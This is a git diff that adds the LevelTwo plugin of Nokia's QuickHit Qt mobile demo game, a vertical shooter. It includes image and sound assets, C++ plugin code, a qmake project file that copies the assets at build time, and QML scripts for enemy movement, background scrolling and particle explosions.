diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy1.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy1.png
new file mode 100644
index 00000000..94f149bd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy1.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy_missile2.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy_missile2.png
new file mode 100644
index 00000000..5011d755
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy_missile2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/fire.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/fire.png
new file mode 100644
index 00000000..84010340
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/fire.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/fire2.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/fire2.png
new file mode 100644
index 00000000..139aa611
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/fire2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/missile.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/missile.png
new file mode 100644
index 00000000..86bb41bc
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/missile.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/missile2.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/missile2.png
new file mode 100644
index 00000000..dacd6106
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/missile2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/ship.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/ship.png
new file mode 100644
index 00000000..cb7851c4
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/ship.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/star3.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/star3.png
new file mode 100644
index 00000000..70af0f3c
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/star3.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/transparent.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/transparent.png
new file mode 100644
index 00000000..3aa1e413
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/transparent.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.cpp b/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.cpp
new file mode 100644
index 00000000..cf1c5bca
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.cpp
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "leveltwo.h"
+#include <QtCore/qplugin.h>
+
+
+LevelTwo::LevelTwo()
+{
+}
+
+LevelTwo::~LevelTwo()
+{
+}
+
+QString LevelTwo::pathPrefix()
+{
+ /*
+QDir::rootPath()
+For Unix operating systems this returns "/".
+For Windows file systems this normally returns "c:/".
+On Symbian this typically returns "c:/data",
+*/
+
+#ifdef Q_WS_MAEMO_5
+ return "/home/user/.";
+#elif defined Q_OS_WIN32
+ return QDir::rootPath();
+#else
+ //return QDir::rootPath()+"/";
+ return "c:/System/";
+#endif
+}
+
+QStringList LevelTwo::levelSounds()
+{
+ QStringList list;
+
+
+ // NOTE: Mandatory sounds/indexs for the all levels
+ // 0 = Enemy explode
+ list.append(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/sound/enemy_explosion.wav");
+ // 1 = You explode
+ list.append(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/sound/myship_explosion.wav");
+ // 2 = Missile fires
+ list.append(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/sound/laser.wav");
+ // 3 = Emeny Missile fires
+ list.append(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/sound/rocket.wav");
+
+ // Additional sounds
+ list.append(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/sound/enableship.wav");
+ list.append(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/sound/level2.wav");
+
+
+ return list;
+}
+
+QVariant LevelTwo::getData(QVariant key)
+{
+ QVariant ret;
+ switch (key.toInt()) {
+ case 1: {
+ // Any data what you need for this key
+ // Set your data into QVariant (ret)
+ break;
+ }
+ default: {
+ break;
+ }
+ }
+ return ret;
+}
+
+QVariant LevelTwo::graphSize(QVariant pathToGraph)
+{
+ QVariant ret;
+ m_imageReader.setFileName(pathToGraph.toString());
+ QSize imageSize = m_imageReader.size();
+ ret.setValue(imageSize);
+ return ret;
+}
+
+// This Qt macro exports the plugin class LevelTwo with the name levelplugins.
+// There should be exactly one occurrence of this LevelTwo macro in a Qt plugin's source code.
+Q_EXPORT_PLUGIN2(levelplugins, LevelTwo);
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.h b/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.h
new file mode 100644
index 00000000..1f32a268
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.h
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LevelTwo_H
+#define LevelTwo_H
+
+#include <QObject>
+#include <QDir>
+#include <QImageReader>
+
+#include "levelplugininterface.h"
+
+class LevelTwo : public LevelPluginInterface
+{
+ Q_OBJECT
+
+ // This macro tells Qt which interfaces the class implements.
+ // This is used when implementing plugins.
+ Q_INTERFACES(LevelPluginInterface)
+
+public:
+ LevelTwo();
+ ~LevelTwo();
+
+ static QString pathPrefix();
+
+public: // From LevelPluginInterface
+
+ QStringList levelSounds();
+
+ Q_INVOKABLE QVariant getData(QVariant key);
+
+ Q_INVOKABLE QVariant graphSize(QVariant pathToGraph);
+
+ Q_INVOKABLE QVariant enemyCount() { return QVariant(35); }
+ Q_INVOKABLE QVariant enemyRowCount() { return QVariant(0); }
+ Q_INVOKABLE QVariant enemySpeed() { return QVariant(20000); }
+ Q_INVOKABLE QVariant enemyFireSpeed() { return QVariant(500); }
+
+ // Root paths for the QML, Pictures and Sounds
+ Q_INVOKABLE QVariant qmlRootPath() { return QVariant(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/"); }
+ Q_INVOKABLE QVariant pictureRootPath() { return QVariant(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/gfx/"); }
+
+ // Full paths
+ Q_INVOKABLE QVariant pathToTransparentEnemyPic() {return QVariant(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/gfx/transparent.png");}
+ Q_INVOKABLE QVariant pathToMissilePic() {return QVariant(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/gfx/missile2.png");}
+ Q_INVOKABLE QVariant pathToEnemyMissilePic() {return QVariant(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/gfx/enemy_missile2.png");}
+ Q_INVOKABLE QVariant pathToMyShipPic() {return QVariant(LevelTwo::pathPrefix()+"quickhitdata/leveltwo/gfx/ship.png");}
+
+protected:
+ QImageReader m_imageReader;
+};
+
+#endif // LevelTwo_H
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.pro b/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.pro
new file mode 100644
index 00000000..6395989b
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/leveltwo.pro
@@ -0,0 +1,105 @@
+TEMPLATE = lib
+
+#VERSION = 1.1.0
+
+CONFIG += plugin
+
+INCLUDEPATH += ../
+
+HEADERS = leveltwo.h
+
+SOURCES = leveltwo.cpp
+
+TARGET = $$qtLibraryTarget(leveltwo)
+
+OTHER_FILES += qml/Level.qml \
+ qml/Enemy.qml \
+ qml/Level.js
+
+
+# SYMBIAN ---------------------------
+symbian: {
+# Load predefined include paths (e.g. QT_PLUGINS_BASE_DIR) to be used in the pro-files
+load(data_caging_paths)
+
+# EPOCALLOWDLLDATA have to set true because Qt macros has initialised global data
+TARGET.EPOCALLOWDLLDATA=1
+TARGET.UID3 = 0xE07dfb67
+
+TARGET.CAPABILITY = NetworkServices \
+ Location \
+ ReadUserData \
+ WriteUserData \
+ LocalServices \
+ UserEnvironment
+
+# Defines plugin stub file into Symbian .pkg package
+pluginDep.sources = leveltwo.dll
+pluginDep.path = $$QT_PLUGINS_BASE_DIR/quickhitlevels
+DEPLOYMENT += pluginDep
+
+# Graphics and Sounds for the plugin
+BLD_INF_RULES.prj_exports += "gfx/background2.png ../winscw/c/Data/gfx/background2.png" \
+"gfx/background_loop.png ../winscw/c/Data/gfx/background_loop.png" \
+"gfx/enemy1.png ../winscw/c/Data/gfx/enemy1.png" \
+"gfx/fire2.png ../winscw/c/Data/gfx/fire2.png" \
+"gfx/fire.png ../winscw/c/Data/gfx/fire.png" \
+"gfx/missile2.png ../winscw/c/Data/gfx/missile2.png" \
+"gfx/enemy_missile2.png ../winscw/c/Data/gfx/enemy_missile2.png" \
+"gfx/ship.png ../winscw/c/Data/gfx/ship.png" \
+"gfx/transparent.png ../winscw/c/Data/gfx/transparent.png" \
+"gfx/star3.png ../winscw/c/Data/gfx/star3.png" \
+"gfx/blue_fire.png ../winscw/c/Data/gfx/blue_fire.png" \
+"sound/enemy_explosion.wav ../winscw/c/Data/sound/enemy_explosion.wav" \
+"sound/myship_explosion.wav ../winscw/c/Data/sound/myship_explosion.wav" \
+"sound/enableship.wav ../winscw/c/Data/sound/enableship.wav" \
+"sound/laser.wav ../winscw/c/Data/sound/laser.wav" \
+"sound/level2.wav ../winscw/c/Data/sound/level2.wav" \
+"qml/Level.qml ../winscw/c/Data/Level.qml" \
+"qml/Level.js ../winscw/c/Data/Level.js" \
+"qml/Enemy.qml ../winscw/c/Data/Enemy.qml"
+
+
+myQml.sources = qml/*
+myQml.path = c:/system/quickhitdata/leveltwo
+myGraphic.sources = gfx/*
+myGraphic.path = c:/system/quickhitdata/leveltwo/gfx
+mySound.sources = sound/*
+mySound.path = c:/system/quickhitdata/leveltwo/sound
+# Takes qml, graphics and sounds into Symbian SIS package file (.pkg)
+DEPLOYMENT += myQml myGraphic mySound
+
+target.path += $$[QT_INSTALL_PLUGINS]/quickhitlevels
+# Installs binaries
+INSTALLS += target
+}
+
+# WINDOWS ---------------------------
+win32: {
+
+# Copy level sounds and graphics into right destination
+system(mkdir c:\quickhitdata\leveltwo)
+system(mkdir c:\quickhitdata\leveltwo\gfx)
+system(mkdir c:\quickhitdata\leveltwo\sound)
+system(copy qml\*.* c:\quickhitdata\leveltwo)
+system(copy gfx\*.* c:\quickhitdata\leveltwo\gfx)
+system(copy sound\*.* c:\quickhitdata\leveltwo\sound)
+
+# Installs binaries
+target.path += $$[QT_INSTALL_PLUGINS]/quickhitlevels
+INSTALLS += target
+}
+
+# MAEMO_5 ---------------------------
+maemo5: {
+myQml.path = /home/user/.quickhitdata/leveltwo/
+myQml.files += qml/*
+myGraphic.path = /home/user/.quickhitdata/leveltwo/gfx/
+myGraphic.files += gfx/*
+mySound.path = /home/user/.quickhitdata/leveltwo/sound/
+mySound.files += sound/*
+
+target.path += /usr/lib/qt4/plugins/quickhitlevels
+# Installs qml, binaries, sounds and graphics
+INSTALLS += target myGraphic mySound myQml
+}
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/qml/Enemy.qml b/demos/mobile/quickhit/plugins/LevelTwo/qml/Enemy.qml
new file mode 100644
index 00000000..55703269
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/qml/Enemy.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: enemy
+ objectName: "enemy"
+ smooth:true
+ opacity: 0 // 0=hidden by default
+ fillMode:Image.PreserveAspectFit
+ source:"file:/"+LevelPlugin.pictureRootPath()+"enemy1.png"
+
+ property int enemySpeed: LevelPlugin.enemySpeed()
+
+ function pause(doPause) {
+ if (doPause) {
+ upToDownAnim.pause()
+ rightLeftAnim.pause()
+ } else {
+ upToDownAnim.resume()
+ rightLeftAnim.resume()
+ }
+ }
+
+ function startMovingAnim() {
+ upToDownAnim.restart()
+ rightLeftAnim.restart()
+ }
+
+ // Right-left animation
+ SequentialAnimation {
+ id: rightLeftAnim
+ loops: Animation.Infinite
+ NumberAnimation { target:enemy; property:"x";
+ to:gameArea.width - enemy.width; easing.type: Easing.OutQuad; duration: 3000 }
+ NumberAnimation { target:enemy; property:"x"; to:0; easing.type: Easing.OutQuad; duration: 3000 }
+ }
+
+ // Up to down animation
+ SequentialAnimation {
+ id: upToDownAnim
+ PropertyAnimation { target:enemy; property:"y"; to: gameArea.height;
+ easing.type: Easing.Linear; duration: enemy.enemySpeed }
+ PropertyAction { target: enemy; properties: "opacity"; value: 0 }
+ }
+}
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/qml/Level.js b/demos/mobile/quickhit/plugins/LevelTwo/qml/Level.js
new file mode 100644
index 00000000..e2aef689
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/qml/Level.js
@@ -0,0 +1,42 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+var hiddenEnemies = new Array()
+
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/qml/Level.qml b/demos/mobile/quickhit/plugins/LevelTwo/qml/Level.qml
new file mode 100644
index 00000000..f509aa64
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/qml/Level.qml
@@ -0,0 +1,228 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+import "Level.js" as LevelScript
+
+Item {
+ id: enemies
+ anchors.fill: parent
+
+ property int enemiesCreated: 0
+ property int enemiesEnabled: 0
+
+ property int backOneTop
+ property int backTwoTop
+
+ // Long background 2
+ Image {
+ id: longBackground_2
+ source: "file:/"+LevelPlugin.pictureRootPath()+"background_loop.png"
+ fillMode: Image.Stretch
+ smooth: false
+ width: gameArea.width
+ height: gameArea.height
+ }
+
+ // Long background 1
+ Image {
+ id: longBackground_1
+ source: "file:/"+LevelPlugin.pictureRootPath()+"background_loop.png"
+ fillMode: Image.Stretch
+ smooth: false
+ width: gameArea.width
+ height: gameArea.height
+ }
+
+ // Long background Up to down animation
+ ParallelAnimation {
+ id: backgroundAnim;
+ loops: Animation.Infinite
+ PropertyAnimation { target:longBackground_1; property:"y";
+ from:backOneTop; to:gameArea.height; easing.type:Easing.Linear; duration:10000 }
+ PropertyAnimation { target:longBackground_2; property:"y";
+ from:backTwoTop; to:backOneTop; easing.type:Easing.Linear; duration:10000 }
+ }
+
+
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ function pause(doPause) {
+ if (doPause) {
+ enemyCreationTimer.stop()
+ backgroundAnim.stop()
+ } else {
+ enemyCreationTimer.restart()
+ backgroundAnim.restart()
+ }
+ for (var i=0;i<LevelScript.hiddenEnemies.length;i++) {
+ var enemy = LevelScript.hiddenEnemies[i]
+ enemy.pause(doPause)
+ }
+ }
+
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ objectName: "level"
+
+
+ // Enemy creation timer
+ Timer {
+ id: enemyCreationTimer
+ interval: 1000; running: false; repeat: true
+ onTriggered: {
+ enableEnemy()
+ }
+ }
+
+ function enableEnemy() {
+ if (enemiesEnabled < enemiesCreated) {
+ var enemy = LevelScript.hiddenEnemies[enemiesEnabled]
+ enemy.opacity = 1
+ enemy.x = GameEngine.randInt(0,gameArea.width-enemy.width-50)
+ enemy.startMovingAnim()
+ enemyCreationTimer.stop()
+ enemyCreationTimer.interval = GameEngine.randInt(500,2000)
+ enemyCreationTimer.restart()
+ enemiesEnabled = enemiesEnabled + 1
+ GameEngine.playSound(4) // NOTE: Enable enemy sound
+ } else {
+ enemyCreationTimer.stop()
+ }
+ }
+
+ // Hidden enemies group
+ function createHiddenEnemiesGroup() {
+ for (var i=0;i<LevelPlugin.enemyCount();i++) {
+ var enemyComponent = Qt.createComponent("file:/"+LevelPlugin.qmlRootPath()+"Enemy.qml")
+ var enemyObject = enemyComponent.createObject(enemies)
+ LevelScript.hiddenEnemies.push(enemyObject)
+ enemiesCreated = enemiesCreated + 1
+ }
+ }
+
+ Component.onCompleted: {
+ // Create hidden enemies
+ createHiddenEnemiesGroup()
+ // Flying moons animation
+ starBurstTimer.restart()
+ // Create enemies timer
+ enemyCreationTimer.restart()
+
+ // Start Long background loop animation
+ backOneTop = 0
+ longBackground_1.y = backOneTop;
+ backTwoTop = gameArea.height * -1
+ longBackground_2.y = backTwoTop;
+ backgroundAnim.restart()
+
+ GameEngine.playSounds(5,3) //NOTE: Level starts sound, 3 times
+ }
+
+ Timer {
+ id: starBurstTimer
+ interval: starParticles.lifeSpan+GameEngine.randInt(100,2000); running: false; repeat: true
+ onTriggered: {
+ starParticles.burst(GameEngine.randInt(4,6))
+ }
+ }
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ // Execute explode particle effect
+ function explode(x,y) {
+ explodeParticles.x = x
+ explodeParticles.y = y
+ explodeParticles.burst(20)
+ explodeParticles.opacity = 1
+ }
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ // Explode particle effect
+ Particles {
+ id: explodeParticles
+ opacity: 0
+ width: 1
+ height: 1
+ emissionRate: 0
+ source: "file:/"+LevelPlugin.pictureRootPath()+"blue_fire.png"
+ lifeSpan: 500
+ lifeSpanDeviation: 2000
+ count: -1
+ angle: 270
+ angleDeviation: 65
+ velocity: 100
+ velocityDeviation: 100
+ ParticleMotionGravity {
+ yattractor: 1000
+ xattractor: 300
+ acceleration: 50
+ }
+ }
+
+ Particles {
+ id: starParticles
+ y: -50
+ x: 0
+ width: parent.width
+ height: 50
+ emissionRate: 0
+ source: "file:/"+LevelPlugin.pictureRootPath()+"star3.png"
+ lifeSpan: 5000
+ count: -1
+ angle: 90
+ velocity: 100
+ opacity: 0.7
+ ParticleMotionGravity {
+ yattractor: 1000
+ xattractor: 500
+ }
+ }
+
+
+}
+
+
+
+
+
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/crash.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/crash.wav
new file mode 100644
index 00000000..8076f0f6
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/crash.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/enableship.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/enableship.wav
new file mode 100644
index 00000000..6fe5fe84
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/enableship.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/enemy_explosion.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/enemy_explosion.wav
new file mode 100644
index 00000000..fd338e6b
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/enemy_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/laser.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/laser.wav
new file mode 100644
index 00000000..c3b58b20
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/laser.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/level2.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/level2.wav
new file mode 100644
index 00000000..24d39174
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/level2.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/myship_explosion.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/myship_explosion.wav
new file mode 100644
index 00000000..e22d030e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/myship_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/rocket.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/rocket.wav
new file mode 100644
index 00000000..8c0dee9a
--- /dev/null
